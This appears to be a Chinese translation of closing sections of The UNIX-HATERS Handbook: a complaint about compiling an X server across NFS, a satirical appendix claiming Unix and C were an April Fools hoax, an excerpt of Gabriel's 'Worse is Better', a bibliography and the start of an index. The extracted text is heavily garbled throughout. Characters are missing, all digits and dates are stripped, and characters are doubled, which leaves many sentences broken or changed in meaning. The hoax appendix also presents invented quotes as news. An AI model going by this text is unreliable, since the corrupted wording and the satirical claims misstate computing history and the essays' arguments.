发发 给 UNIX 痛 者<br />
题 多 种 架 构 的 悲 剧<br />
我 在 摆 NYSERnet( 按按 照 Unix 的 标 准 , 这 真 是 一 个 搭 建 得 很 不 错 的 系 ) 的 X.<br />
服 。<br />
了 让 一 服 跑 起 来 需 要 很 多 码 。 我 编 译 了 所 有 这 些 码 , 又 经 过 一 些 挣 扎 ,<br />
于 让 服 运 行 了 。 中 大 多 数 挣 扎 都 是 因 要 编 译 的 系 跨 越 多 个 文 件 系 , 及<br />
假 你 root 身 份 编 译 。 似 有 人 认 到 不 能 假 来 自 别 的 系 的 root 信 , 所 <br />
在 这 种 情 况 root 的 权 限 比 我 自 己 的 还 少少 些 。<br />
一 当 服 开 始 运 行 , 我 就就 看 到 有 文 档 了 运 行 用 户户 端 , 需 要 将将 若 文 件 复 制 到 <br />
户户 机 。 好 吧 , 既 然 我 们 用 的 是 NFS, 那 些 文 件 就就 已 经 到 了 , 所 我 搞搞 了 所 有 <br />
一 架 构 的 机 ( 这 指指 SUN)。
· · 网 络 文挱 件 系 统<br />
不 过 呢 , 我 们 还 有 多 SUN 机 。 没没 有 文 档 如 何 编 译 户户 端 , 所 我 给 原原 作 者 发发<br />
去去 邮 件 询 。 他 没没 有 简 单 法 , 并 且 我 能 需 要 用 ./make distribution 新 编 译<br />
所 有 码 。<br />
于 这 个 系 很 大 , 全 部 编 译 需 要 几 个 小小 时 , 但 我 做 到 了 , 然 找 到 几 个 我 必 复<br />
制 的 文 件 ( 文 档 没没 , 必 需 的 ), 我 让 服 跑 起 来 了 。<br />
时 我 还 在 编 译 系 需 要 的 数 据据 。 如 果 你 将将 包 复 目 的 数 据据 载 入 运 行 中 的 系<br />
, 崩 溃 发发 生 了 , 不 过 他 们 提 供 了 一 个 程程 序 来 扫 描 数 据据 是 否 确 。 在 Makefile 有 个<br />
目 标 是 用 来 编 译 该 程程 序 的 , 但 不 管 装装 , 所 编 译 好 的 程程 序 就就 留 在 了 源 码 目 录 中 。<br />
昨 晚 , 我 把把 我 的 X. 服 搞搞 崩 溃 了 , 因 我 载 入 了 掉 的 数 据据 。 我 手手 清 理 了<br />
数 据据 然 决 理 性 一 把把 , 用 那 个 程程 序 检 查 数 据据 , 但 是 我 找 不 到 了 ( 来 是 在 源 码<br />
目 录 一 个 恐 怖 的 路 径 中 的 )。<br />
不 用 想 了 , 必 然 是 在 编 译 整 个 系 时 被被 删 除 了 ( 删 除 所 有 文 件 时 不 是 用 这 个 命 吧 ?)。<br />
我 想 ,“ 好 吧 , 我 新 编 译 这 个 程程 序 。” 还 是 不 行 的 , 因 一 些 必 要 的 中 间 文 件 已 经 被被 编<br />
译 成 它 架 构 的 码 了 。<br />
所 呢 …盚…盚 是 什 么 Unix 缺 的 能 让 我 在 这 伤 心 呢 ?<br />
) 不 是 将将 权 限 理 地 分 散 给 多 个 用 户户 , 而 是 有 一 个 无 所 不 能 的 高 权 限 用 户户 。<br />
)Unix 是 在 没没 有 网 的 世 界 中 计 的 , 并 且 运 行 的 大 多 数 系 都 多 多 少少 少少 地 假 <br />
你 用 一 机 。<br />
)NFS 假 户户 端 完 成 了 所 有 验 证 , 除 了 root, 并 且 认 这 个 用 户户 很 邪 恶 并 且 <br />
不 能 相 信 。<br />
)Unix 有 这 种 怪 想 法 你 在 一 个 地 方 编 译 码 , 然 把把 需 要 的 东 西 挪 到 别 处 。 一 般 而<br />
言言 这 就就 表表 示 你 永永 不 能 找 到 二 制 文 件 对 的 源 码 , 更 有 甚 者 , 在 一 个 多 种 架 构 并 存<br />
的 环 境 中 , 你 能 时 保 留 一 份 中 间 文 件 。<br />
昨 晚 我 收 到 回 复 邮 件 , 作 者 我 放 松 因 他 觉 得 这 事 挺挺 的 。 我 不 禁 好 ,Usenix 的<br />
参参 与 者 们 不 在 酒 店 房 间 , 用 X-Acto 刀 扎 自 己 大 腿 呢 ? 或或 在 Usenix 期 间 ,<br />
他 们 齐 聚 酒 店 的 豪 华 舞 厅 , 然 体 刀 扎 大 腿 。<br />
<br />
译 注 Elmer's Products 的 品 牌 刀 , 要 用 途 是 切 割 或或 雕 刻 。
与 文挱 件 系 统 无捂 关 ( 还 是捔 有捯 点 相 关 )?<br />
· ·
第 四 部 分<br />
什 么 什 么 的
附 录 A<br />
尾 声<br />
从 Unix 得 到 顿 悟<br />
期 Sat, Dec :: -<br />
来 自 米 歇 尔尔 核 特 拉拉 弗 <br />
发发 给 UNIX 痛 者<br />
题 从 Unix 得 到 悟<br />
Unix 教 给 我 们 世 事 无 常 , 让 人 先 索 求 不 得 , 然 幡 然 醒 悟 。<br />
举 例 来 , 我 有 想 看 懂 一 份 别 人 给 我 的 X 初 始 化 脚 , 我 扫 过 中 一 行 ,<br />
貌 似 在 一 通 的 Unix shell 命 前 带 有 “exec”。 我 很 好 exec 的 作 用 ,<br />
于 是 在 shell 窗窗 内 敲 “exec ls”, 结 果 是 列 出 了 一 个 目 录 的 内 容 , 随 这<br />
个 shell 窗窗 , 及 我 的 它 窗窗 都 被被 了 , 剩 全 黑 的 屏 幕 , 有 小小<br />
的 白 色 光 标 悬 在 部 一 不 , 似 在 提 醒 我 , 凡 事 没没 有 对 , 一 切 皆 有 反<br />
。<br />
过 去去 的 我 大 概概 对 很 不 爽 , 但 那 是 Unix 让 我 悟 前 。 如 今 的 我 不 再 留<br />
恋 程程 的 回 , 程程 在 那 或或 是 不 在 无 外 镜 花 水水 月 。 世 界 是 Unix,Unix 是<br />
世 界 , 芸 芸 生 的 救 而 孜 孜 不 倦 。
附 录 B<br />
作 者 都 承 认 ,C 和 Unix<br />
不 过 是捔 恶 作 剧 而 已<br />
没 什 么 深 思 熟 虑<br />
在 一 篇 震 惊 业 界 的 声 明 中 , 肯 核 汤汤 逊 、 尼 斯 核 和 布 莱 核 凯 尔尔<br />
尼 汉汉 承 认 , 他 们 亲 手手 的 Unix 操 作 系 和 C 语 言言 是 一 个 精 心 计 的 愚 人<br />
节 恶 作 剧 , 且 持 续 了 。 在 最 近 的 Unix 世 界 件 开 发发 坛 , 汤汤 逊 的<br />
讲 透 露 了 内 容 <br />
在 , 那 时 AT&T 从 GE/AT&T 联 开 发发 Multics 的 目 中 抽 身 布 莱 和 我 开<br />
始 使 用 Pascal 作 不 久 , 这 是 个 期 版 , 来 自 尼 拉拉 斯 核 沃沃 什 教 授 在 瑞 士 苏 黎 世 的 <br />
验 , 简 单 强 大 给 我 们 很 深 的 印 象 尼 斯 在 《 国 家 刺 》 杂 读 完 《 指指 环 闷<br />
葫 芦 》 , 一 部 恶 搞搞 托托 尔尔 金 《 指指 环 王 》 的 篇 小小 。 了 , 我 们 决 恶 搞搞 Multics<br />
和 Pascal 一 把把 。 尼 斯 和 我 负 编 写 操 作 环 境 。 我 们 查 看 了 Multics, 然 把把 新 系 计<br />
得 尽 能 复 杂 神 秘秘 , 尽 能 给 初 来 到 的 用 户户 当 头 一 棒 , 新 系 的 字 Unix 就就 是 了<br />
恶 搞搞 Multics, 及 一 些 别 的 流 故 。<br />
于 是 尼 斯 和 布 莱 开 始 编 写 一 个 扭 曲 版 Pascal, 称 “A 语 言言 “。 来 我 们 发发 现 有<br />
人 真 的 在 用 A 编 写 程程 序 , 就就 立立 刻 再 一 些 缠 不 清 的 新 能 , 然 A 就就 依 成 了 B、<br />
BCPL, 及 最 的 C。 当 用 语 法 书 写 的 程程 序 净 净 地 通 过 编 译 , 我 们 停 手手<br />
了 <br />
for(;P(""),R=;P("|"))for(e=C;e=P("_"+(*u++/)%))P("|"+(*u/)%);<br />
至 于 容 忍 如 语 的 语 言言 能 被被 现 程程 序 员 用 来 编 程程 , 我 们 倒 真 没没 想 过 ! 我 们 真 的 想<br />
法 是 把把 这 玩 意 儿 卖 给 俄 国 人 , 让 他 们 的 计 算 机 科 学 至 少少 倒 二 十十 。 当 AT&T 和 别 的 美<br />
国 真 的 开 始 使 用 Unix 和 C 时 , 你 能 想 象 我 们 是 多 么 惊 讶 吗 ? 直 到 二 十十 , 人 们 才<br />
从 这 的 技 术 恶 搞搞 中 理 出 头 绪 , 开 发发 了 稍 微 得 了 的 用 程程 序 , 但 是 对 于<br />
通 Unix 和 C 程程 序 员 的 固 执执 ( 如 果 不 是 所 有 人 都 这 么 想 的 ), 我 们 深 有 体 。<br />
最 近 几 , 布 莱 、 尼 斯 和 我 都 在 苹 果 电 脑 运 行 Lisp。 多 前 我 们 一 个 愚 蠢蠢 的<br />
玩 笑 , 给 世 界 带 来 多 少少 混 乱 、 困 惑 和 糟 糕 透 顶 的 编 程程 方 法 , 对 我 们 真 的 很 内 疚 。<br />
那 些 Unix 和 C 的 要 供 商 及 户户 们 , 包 括括 AT&T、 微 、 惠 、GTE、<br />
NCR 还 有 DEC, 这 都 拒拒 发发 表表 。 品 包 括括 畅 销 的 Turbo Pascal、Turbo<br />
<br />
译 注 Bored of the Rings, 利 核 比 尔尔 德 (Henry N. Beard) 和 道 格 拉拉 斯 核 肯 尼 (Douglas C. Kenney)<br />
的 篇 小小 , 首 出 版 。
· · 作 者 都 承 认 ,C 和 Unix 不 过 是捔 恶 作 剧 而 已<br />
C 和 Turbo C++,Pascal 和 C 编 译 的 先 厂厂 商 ,Borland 件 声 明 几<br />
前 就就 对 有 所 疑 , 今 能 继 续 增 强 Pascal 品 并 停 开 发发 C 品 。 一<br />
IBM 发发 言言 人 笑 到 抽 筋 , 好 推 一 场 有 RS/ 命 运 的 新 闻 发发 布 ,<br />
仅 仅 布 “Workplace OS 即 将将 世 ”。 苏 黎 世 联 邦 理 学 院 教 授 ,Pascal、<br />
Modula , 还 有 Oberon 结 构 化 语 言言 父 , 尼 拉拉 斯 核 沃沃 什 , 仅 仅 表表 示<br />
原原 来 P 核 T 核 巴 纳 姆 对 了 。<br />
<br />
译 注 RISC System/ 是 IBM 开 发发 的 基 于 RISC 处 理 和 Unix 操 作 系 的 系 列 服 、 作 站 和 超<br />
级 计 算 机 , 开 始 替 换 IBM RT 系 列 计 算 机 。<br />
<br />
译 注 IBM Mach . 微 内 基 础 的 操 作 系 , 通 过 服 的 方 式 运 行 DOS、OS/、Microsoft<br />
Windows、OS/ 及 AIX 用 程程 序 , 支 持 的 处 理 包 括括 PowerPC、ARM 和 x, 用 范 围 从 个 人 数 字 <br />
理 到 作 站 甚 至 包 括括 大 型 服 。 于 开 发发 困 难 及 需 求 而 消 。 长 期 果 是 IBM 不 再 开<br />
发发 新 的 操 作 系 , 而 是 使 用 Windows 和 Linux。<br />
<br />
译 注 Niklaus Wirth, 计 算 机 科 学 家 , 月 生 于 瑞 士 。<br />
<br />
译 注 尼 尔尔 核 泰 勒 核 巴 纳 姆 (Phineas Taylor Barnum, 月 ~ 月 ), 美 国<br />
马 戏 团 经 纪 人 演 出 者 。 世 认 他 有 一 言言 ,“ 每 分 钟 都 有 傻 瓜 生 ”, 意 思 是 世 界 总 有 很 多 人 容<br />
易 当 。
· ·
附 录 C “ 差 一 点 才 更捩 好 ” 思 想 的<br />
兴 起<br />
理 查掝 德 · 伽 白 列<br />
今 Lisp 的 键 题 源 自 两 种 互 相 掐 架 的 件 哲 学 “ 要 做 就就 做 确 ”<br />
和 “ 差 一 点 才 更 好 ” 。<br />
人 , 及 每 个 Common Lisp 及 CLOS 的 计 者 , 多 来 深 MIT/ 斯 坦<br />
福 计 风 格 的 熏 陶 , 精 髓 是 “ 要 做 就就 做 确 ”。 我 们 这 些 计 者 认 备<br />
特 征 很 要 <br />
• 简 单 盒 盒 不 现 和 接接 , 计 必 简 单 。 中 接接 简 单 又 胜 于 现<br />
简 单 。<br />
• 确 盒 盒 从 各 个 观 察察 的 方 看 , 计 必 确 , 计 错 误 对 是 不<br />
行 的 。<br />
• 一 致 盒 盒 计 决 不 能 不 一 致 。 计 牺 牲 一 点 点 简 单 和 完 备 , 但 一<br />
致 性 和 确 性 是 一 要 的 。<br />
• 完 备 盒 盒 要 是 存 在 的 场 , 计 时 就就 必 考 虑 。 要 是 理 的<br />
用 户户 期 望 , 计 时 就就 必 考 虑 。 了 简 单 而 放 完 备 是 不 的 。<br />
我 相 信 大 多 数 人 都 认 这 些 秀 的 特 征 。 我 将将 对 这 种 哲 学 的 运 用 称 <br />
“MIT 方 法 ”。Common Lisp( 及 CLOS) 和 Scheme 的 计 现 采 用 了 MIT 方<br />
法 。<br />
而 “ 差 一 点 才 更 好 ” 哲 学 有 一 点 点 区 别 <br />
这 是 小小 部 分 摘摘 , 原原 文 《Lisp 好 消 息 、 消 息 , 全 胜 道 》 [] , 作 者 理 查 德 核 伽 白 列 。 最 发发<br />
表表 于 《AI 专 家 》 杂 月 。© 理 查 德 核 伽 白 列 。 原原 作 者 及 《AI 专 家 》 杂 授 权 。
· · “ 差 一 点 才 更捩 好 ” 思 想 的 兴 起<br />
• 简 单 盒 盒 不 现 和 接接 , 计 必 简 单 。 中 现 简 单 又 胜 于 接接 <br />
简 单 。 简 单 是 计 中 最 要 的 考 虑 。<br />
• 确 盒 盒 从 各 个 观 察察 的 方 看 , 计 必 确 。 简 单 比 确 的 要<br />
性 高 一 点 点 。<br />
• 一 致 盒 盒 计 的 各 部 分 是 不 能 完 全 一 致 的 。 有 时 候 了 简 单 牺<br />
牲 一 致 性 , 但 有 更 好 的 法 , 如 果 能 导 致 现 既 复 杂 又 矛 盾 , 那<br />
宁 愿 将将 这 部 分 从 计 中 删 除 , 而 考 虑 更 通 的 情 况 。<br />
• 完 备 盒 盒 要 是 存 在 的 场 , 计 时 就就 必 考 虑 。 要 是 理 的<br />
用 户户 期 望 , 计 时 就就 该 考 虑 。 了 任 何 别 的 目 的 都 牺 牲 完 备 性 ,<br />
要 现 复 杂 了 都 必 牺 牲 完 备 性 。 如 果 现 简 单 的 不 妨<br />
牺 牲 一 致 性 获 得 完 备 性 , 中 最 没没 有 价 值 的 就就 是 接接 一 致 性 。<br />
Unix 和 C 就就 是 这 种 计 流 派 的 例 子 , 我 称 “ 新 泽 西 方 法 ”。 我 故 意<br />
给 这 种 哲 学 个 “ 差 一 点 才 更 好 ” 的 字 是 了 刺 , 告 你 这 明 显 是 一 种<br />
差 的 哲 学 , 而 新 泽 西 方 法 是 差 的 方 法 。<br />
然 而 我 相 信 , 相 比 “ 要 做 就就 做 确 ”,“ 差 一 点 才 更 好 ” 的 思 想 从 一 开 始<br />
就就 拥拥 有 某 些 更 于 生 存 的 特 性 而 当 运 用 到 件 时 , 新 泽 西 方 法 于<br />
MIT 方 法 。<br />
让 我 复 一 个 故 事 , 明 MIT 和 新 泽 西 方 法 确 存 在 区 别 , 及 各 自 的<br />
支 持 者 确 相 信 自 己 是 对 的 。<br />
有 两 个 著 人 物 , 一 个 来 自 MIT, 一 个 来 自 伯 克 利 ( 但 致 力 于 Unix),<br />
某 凑 到 一 块 讨 操 作 系 的 题 。MIT 来 的 人 很 熟 悉 ITS(MIT 人 智 能<br />
验 的 操 作 系 ) 并 且 在 阅 读 Unix 的 源 码 。 他 很 想 知 道 Unix 如 何 解解 决<br />
PC loser-ing 题 。 这 个 题 发发 生 时 , 用 户户 程程 序 在 执执 行 一 个 耗 时 的 系 调<br />
用 , 比 如 涉 及 缓 冲 区 的 输 入 输 出 操 作 , 如 果 时 发发 生 了 中 断 , 那 么 必 保 存<br />
用 户户 程程 序 的 状 。 入 系 调 用 通 常 是 一 指指 , 因 保 存 中 断 发发 生 时 用<br />
户户 程程 序 的 执执 行 置 是 不 够 的 。 系 调 用 要 么 出 要 么 继 续 。 确 的 做 法 是 <br />
出 来 , 将将 PC 指指 针 恢 复 到 入 系 调 用 的 指指 , 那 么 完 成 中 断 就就 接接<br />
着 执执 行 用 户户 程程 序 , 例 如 新 开 始 系 调 用 。 称 PC loser-ing 的 原原 因 是 PC 指指<br />
针 被被 强 制 回 “ 用 户户 模 式 ”, 而 “loser” 是 “ 用 户户 (user)” 在 MIT 的 爱 称 。<br />
MIT 来 的 人 看 不 到 任 何 Unix 码 在 处 理 这 种 情 况 , 于 是 询 新 泽 西 来<br />
的 人 。 者 Unix 开 发发 者 知 道 这 个 题 , 但 解解 决 法 是 让 系 调 用 结 ,<br />
指指 程程 序 计 数 (Program Counter) 指指 针 , 用 于 在 运 行 程程 序 时 录 当 前 运 行 的 置 。
· ·<br />
是 有 时 候 返 回 错 误 码 表表 示 系 调 用 完 成 。 而 确 的 用 户户 程程 序 必 检 查<br />
改 错 误 码 决 是 否 再 调 用 一 。MIT 来 的 人 不 喜 这 个 法 , 因 这 做<br />
是 不 确 的 。<br />
新 泽 西 来 的 人 Unix 的 法 是 确 的 , 因 Unix 行 简 单 的 计 哲 学 ,<br />
而 “ 要 做 就就 做 确 ” 复 杂 了 , 反 让 程程 序 员 额 外 的 检 查 和 循 环 不 <br />
事 。MIT 来 的 人 指指 出 , 现 倒 是 简 单 了 , 但 能 的 接接 复 杂 了 。 新 泽 西 来<br />
的 人 Unix 选 择 了 确 的 折折 衷衷 盒 盒 就就 是 现 简 单 胜 于 接接 简 单 。<br />
然 新 泽 西 来 的 人 嘟 哝 到 ,“ 慢 才 能 出 活 ”, 但 对 方 并 不 理 解解 ( 我 <br />
不 确 自 己 是 否 理 解解 )。<br />
现 在 我 想 证 “ 差 一 点 才 更 好 ” 思 想 的 势 。 作 Unix 的 编 写 语 言言 ,C<br />
就就 是 用 新 泽 西 方 法 计 出 来 的 。 因 编 写 C 语 言言 的 编 译 很 容 易 , 而 程程<br />
序 员 需 要 编 写 易 于 被被 编 译 解解 析 的 文 件 。 有 人 把把 C 语 言言 称 精 致 的 汇汇 编 。<br />
期 的 Unix 和 C 都 有 类 似 的 结 构 , 都 易 于 移移 植植 , 节 省 系 资 源 , 并 满 足 你<br />
对 操 作 系 和 编 程程 语 言言 的 需 求 的 % 到 %。<br />
任 何 时 候 都 有 一 半半 的 计 算 机 性 能 于 均 水水 ( 存 储 较 小小 , 运 行 较 慢 ),<br />
而 Unix 和 C 在 这 些 机 作 好 。“ 差 一 点 才 更 好 ” 哲 学 意 味 着 现 简 单<br />
更 要 , 这 又 一 意 味 着 Unix 和 C 很 容 易 移移 植植 到 这 些 机 。 因 有 人<br />
计 , 要 有 % 的 能 是 称 心 的 ,Unix 和 C 就就 被被 到 处 移移 植植 。 事 的 确<br />
如 , 不 是 吗 ?<br />
Unix 和 C 是 极 计 算 机 病 毒 。<br />
“ 差 一 点 才 更 好 ” 哲 学 还 有 一 个 好 处 程程 序 员 惯 于 牺 牲 一 些 全 、 方<br />
便 和 完 备 , 换 来 更 好 的 性 能 和 更 的 资 源 占 用 。 新 泽 西 方 法 编 写 的 程程 序<br />
在 档 和 高 档 机 都 运 行 好 , 时 码 很 好 移移 植植 因 就就 是 病 毒 的<br />
范 。<br />
请 必 , 最 初 的 病 毒 大 体 必 过 得 去去 , 要 备 这 一 点 , 能 <br />
多 种 的 病 毒 必 将将 四 处 传 播播 。 传 播播 的 病 毒 承 化 的 压 力 , 比 如<br />
现 更 多 ( 接接 近 %) 的 能 , 但 是 用 户户 已 经 惯 于 接接 有 瑕 疵 的 品 了 。<br />
在 这 种 情 况 ,“ 差 一 点 才 更 好 ” 的 件 首 先 让 用 户户 接接 , 然 用 户户 的<br />
期 望 , 最 化 到 某 个 接接 近 完 善 的 程程 度 。 在 真 的 历 史 中 , 尽 管 的<br />
Lisp 编 译 和 C 编 译 不 相 , 但 希 望 改 C 编 译 的 专 家 要 多 得 多 。<br />
好 消 息 , 我 们 有 秀 的 操 作 系 和 编 程程 语 言言 消 息 , 那 就就 是<br />
Unix 和 C。<br />
至 于 “ 差 一 点 才 更 好 ” 哲 学 的 最 一 个 好 处 , 于 新 泽 西 方 法 开 发发 的 语
· · “ 差 一 点 才 更捩 好 ” 思 想 的 兴 起<br />
言言 和 系 不 够 强 大 , 无 法 构 复 杂 的 单 个 件 , 因 大 型 系 必 复 用 模<br />
块 的 方 式 计 , 结 果 生 了 一 种 腋 成 裘 的 传 。<br />
完 美 的 件 如 何 构 ? 有 两 种 基 方 法 “ 一 成 型 法 ” 和 “ 逐 求 精<br />
法 ”。<br />
中 “ 一 成 型 法 ” 如 <br />
首 先 需 要 计 什 么 是 完 美 的 件 , 然 计 如 何 将将 现 , 最 才 是 真<br />
的 现 。 于 这 是 完 美 的 件 , 因 几 拥拥 有 全 部 需 要 的 能 , 而 简 单 性<br />
从 来 没没 什 么 不 得 了 , 所 需 要 很 长 时 间 来 现 。 这 的 件 又 大 又 复 杂 ,<br />
需 要 复 杂 的 才 能 恰 当 使 用 。 件 的 最 % 花 了 % 的 精 力 , 所 很<br />
久 才 能 发发 布 一 , 而 且 有 最 高 档 的 机 才 能 流 畅 运 行 。<br />
而 “ 逐 求 精 法 ” 如 <br />
计 完 美 的 件 是 永永 无 境 的 , 而 在 过 程程 中 目 标 都 很 遥 。 要 将将 完 美<br />
的 件 现 成 快 运 行 要 么 不 能 , 要 么 让 大 多 数 现 者 力 所 不 逮 。<br />
这 两 种 方 法 分 别 对 了 Common Lisp 和 Scheme。 前 者 又 是 编 写 型 人<br />
智 能 件 的 方 式 。<br />
完 美 的 件 经 常 体 形 大 , 这 种 现 象 一 般 不 是 计 成 的 , 就就 是 是<br />
一 种 。<br />
从 中 学 到 的 经 验 是 , 一 开 始 就就 追 求 完 全 确 是 不 的 , 最 好 是 先<br />
达 到 目 标 的 一 半半 然 病 毒 的 方 式 传 播播 , 一 人 们 了 钩 , 就就 再 花 点 时 间 改<br />
件 使 备 % 的 能 。<br />
比 喻 切 忌 囫 囵 吞 枣 然 得 出 结 ,C 语 言言 是 人 智 能 件 的 理 想 载<br />
体 。 就就 算 是 一 个 % 的 方 案 得 基 确 才 行 啊 , 但 C 显 然 不 是 这 的 。
· ·
附 录 D<br />
参 考 书 目<br />
你 自 认 走 出 森揄 林掐 看 看<br />
[] 埃 克 核 沃沃 曼 ,《.BSD 的 邮 件 系 和 寻 址 》 , 月 USENIX。<br />
[] 埃 克 核 沃沃 曼 和 米 亚 姆 核 埃 默 斯 ,《 看 Sendmail》 , 夏<br />
季 USENIX。<br />
[] 布 莱 核 考 斯 特 斯 、 埃 克 核 沃沃 曼 和 内 尔尔 核 瑞 科 特 ,《Sendmail》 , 奥<br />
莱 利 , 。<br />
[] 道 格 拉拉 斯 核 科 莫 ,《TCP/IP 网 互 联 》 ,Prentice Hall, 。<br />
[] 詹詹 姆 斯 核 O 核 科 林 ,《 高 级 C++ 编 程程 风 格 和 既 有 用 法 》 ,Addison-<br />
Wesley, 。<br />
[] 米 歇 尔尔 核 克 莱 ,《 仙 女 座 病 原原 》 ,Knopf, 。<br />
[] 米 歇 尔尔 核 克 莱 ,《 侏 罗 纪 园 》 ,Knopf, 。<br />
[] 斯 蒂 芬 妮 核 德 等 ,《 计 算 机 操 作 系 的 专 业 知 》 ,《 人 机 交 互<br />
杂 》 , 第 卷 第 期 和 第 期 。<br />
<br />
译 注 Mail Systems and Addressing in .bsd。<br />
<br />
译 注 Miriam Amos。<br />
<br />
译 注 Sendmail Revisited。<br />
<br />
译 注 Sendmail, 第 一 版 ,ISBN--。<br />
<br />
译 注 Internetworking with TCP/IP, 结 书 参参 考 内 容 和 出 版 时 间 推 断 第 一 卷 “ 原原 理 、 协 和 架<br />
构 ”, 第 二 版 ,ISBN--。<br />
<br />
译 注 James O. Coplien。<br />
<br />
译 注 Advanced C++: Programming Styles and Idioms, 版 ,ISBN--。<br />
<br />
译 注 Michael Crichton。<br />
<br />
译 注 The Andromeda Strain, 第 一 版 ,ISBN--。<br />
<br />
译 注 Jurassic Park, 第 一 版 ,ISBN--。<br />
<br />
译 注 Stephanie M. Doane。<br />
<br />
译 注 Expertise in a Computer Operating System。<br />
<br />
译 注 Journal of Human-Computer Interaction,ISSN-。
· · 参 考 书 目<br />
[] 理 查 德 核 伽 白 列 ,《Lisp 好 消 息 、 消 息 , 全 胜 道 》 ,《AI 专 家 》 <br />
, 月 。<br />
[] 西 蒙 核 格 芬 科 ,《 用 Unix 及 因 特 网 全 》 , 奥 莱 利 , 。<br />
[] 尼 斯 核 森森 核 琼 斯 ,《 像 》 ,Berkeley Medallion Books,<br />
。<br />
[] 布 莱 核 凯 尔尔 尼 汉汉 和 约 翰 核 马 歇 ,《Unix 编 程程 环 境 》 ,《IEEE 计 算 机 》<br />
, 月 。<br />
[] 唐 核 利 比 斯 和 山山 迪 核 瑞 斯 勒 ,《Unix 人 生 每 个 人 的 指指 南 》 ,Prentice-<br />
Hall, 。<br />
[] 芭 芭 拉拉 核 利 斯 科 ,《CLU 参参 考 手手 册 》 , 施 林 格 , 。<br />
[] 米 勒 核 弗 德 森森 等 ,《 于 Unix 性 的 证 研 究 》 ,《ACM 通<br />
》 , 月 。<br />
[] 唐 纳 德 核 诺 曼 ,《 计 心 理 学 》 ,Doubleday, 。<br />
[] 唐 纳 德 核 诺 曼 ,《Unix 的 麻 烦 用 户户 界 差 》 ,《Datamation》 第<br />
卷 第 期 第 至 页 , 月 。<br />
[] 帕 托托 核 潘 德 亚 ,《 分 布 式 系 的 逐 求 精 》 ,《 计 算 机 科 学 讲 义 》<br />
第 期 , 施 林 格 。<br />
[] 克 核 斯 托托 尔尔 ,《 杜 鹃 鸟 蛋 》 ,Doubleday, 。<br />
<br />
译 注 Lisp: Good News, Bad News, How to Win Big。<br />
<br />
译 注 AI Expert,ISSN-, 月 停 刊 。<br />
<br />
译 注 Practical Unix Security, 第 一 版 ,ISBN--。<br />
<br />
译 注 Dennis Feltham Jones。<br />
<br />
译 注 Colossus, 第 一 版 ,ISBN--。<br />
<br />
译 注 The Unix Programming Environment 。<br />
<br />
译 注 IEEE Computer,ISSN-。<br />
<br />
译 注 Life with UNIX: A Guide for Everyone, 版 ,ISBN--<br />
<br />
译 注 Barbara Liskov。<br />
<br />
译 注 CLU Reference Manual, 版 ,ISBN--。<br />
<br />
译 注 An Empirical Study of the Reliability of Unix Utilities。<br />
<br />
译 注 Communications of the ACM,ISSN-。<br />
<br />
译 注 The Design of Everyday Things, 版 ,ISBN--。<br />
<br />
译 注 The trouble with Unix: The user interface is horrid。<br />
<br />
译 注 Paritosh Pandya。<br />
<br />
译 注 Stepwise Refinement of Distributed Systems。<br />
<br />
译 注 The Cuckoo's Egg, 版 ,ISBN--。 第 一 人 称 小小 , 讲 述 了 破 获 一 针<br />
对 美 国 伦 斯 伯 克 利 国 家 验 的 黑 入 侵 的 过 程程 。
· ·<br />
[] 迪 核 塔 南 鲍 姆 ,《Unix 政 治治 史 》 , 华 盛 USENIX , 。<br />
[] 沃沃 伦 核 迪 特 尔尔 曼<br />
<br />
和 拉拉 核 马 辛 特 ,《Interlisp 编 程程 环 境 》 ,《IEEE 计<br />
算 机 》, 月 。<br />
[] 弗 诺 核 文 ,《 深 渊 的 火 》 ,Tom Doherty Associates, 。<br />
[] 杰 明 核 ,《 保 垃 圾 收 的 价 测 》 , 科 罗 拉拉 多 大 学 波 尔尔 得<br />
分 校 技 术 报 告 CU-CS--, 。<br />
<br />
译 注 原原 书 中 发发 言言 的 标 题 是 “Politics of UNIX”, 但 译 者 找 到 了 塔 南 鲍 姆 的 “Political History of<br />
UNIX”<br />
<br />
译 注 Warren Teitelman。<br />
<br />
译 注 Larry Masinter<br />
<br />
译 注 The Interlisp Programming Environment。<br />
<br />
译 注 A Fire Upon the Deep, 第 一 版 ,ISBN--。<br />
<br />
译 注 The Measured Cost of Conservative Garbage Collection。
索 引<br />
符 和 数 字<br />
!, <br />
!!!SuperLock!!!, <br />
!xxx%s%s%s%s%s%s%s%s, <br />
“ 差 一 点 才 更 好 ” 计 方 法 , <br />
', <br />
'eval resize', <br />
*, <br />
., <br />
.Xauthority 文 件 , <br />
.Xdefaults, , <br />
.Xdefaults-hostname, <br />
.cshrc, , <br />
.login, , <br />
.rhosts, <br />
.xinitrc, <br />
.xsession, <br />
/bin/login, <br />
/bin/mail, <br />
/dev/console, <br />
/dev/crt, <br />
/dev/ocrt, <br />
/etc/exports, <br />
/etc/getty, <br />
/etc/groups, <br />
/etc/mtab, <br />
/etc/passwd, <br />
/tmp, , <br />
/usr/include, <br />
/usr/lib/emacs/lock, , <br />
/usr/ucb/telnet, <br />
> 来 自 , <br />
?, , , <br />
#, <br />
$, <br />
%, , <br />
^, <br />
~/.deleted, <br />
¿, <br />
/* 没没 人 指指 望 你 看 得 懂 这 个 */, <br />
`, <br />
|hyperpage, <br />
%, <br />
月 , <br />
thSon@slcs.slb.com, , , <br />
A<br />
A/UX, <br />
ACM 通 , <br />
瑞 克 核 亚 当 姆 斯 , <br />
adb, <br />
add_client, <br />
AFS, <br />
aglew@oberon.crhc.uiuc.edu, <br />
尔尔 核 格 内 , xxiv, <br />
AIX, <br />
伍 迪 核 艾 伦 , <br />
alan@ai.mit.edu, , , ,
· ·<br />
alan@mq.com, <br />
埃 克 核 沃沃 曼 , , , <br />
alt.folklore.computers, , , <br />
alt.gourmand, <br />
alt.sources, <br />
阿 米 害 者 心 , <br />
德 鲁 文 件 系 , <br />
朱 迪 核 德 森森 , xxiv, , <br />
格 雷 格 核 德 森森 , xxiv<br />
全 , <br />
find, <br />
全 通 道 , <br />
暗 示 编 程程 法 , <br />
API( 用 编 程程 接接 ), <br />
Apollo, xviii, , , <br />
apropos, <br />
ar, <br />
肯 核 阿 诺 德 , <br />
ARPANET, , <br />
ASCII 码 替 技 术 , <br />
ASR- 电 传 打 字 机 , <br />
AT&T<br />
文 档 , <br />
AT&T, xv<br />
Auspex, <br />
罗 伯 核 奥 斯 丁 , xxiv<br />
awk, <br />
B<br />
巴 别 塔 , <br />
巴 哈 伊 教 , <br />
白 字 符 , <br />
bandy@lll-crg.llnl.gov, <br />
bash, <br />
艾 伦 核 鲍 登 , , , , , , , <br />
BBN, <br />
迪 核 比 尔尔 斯 , <br />
贝 尔尔 验 , <br />
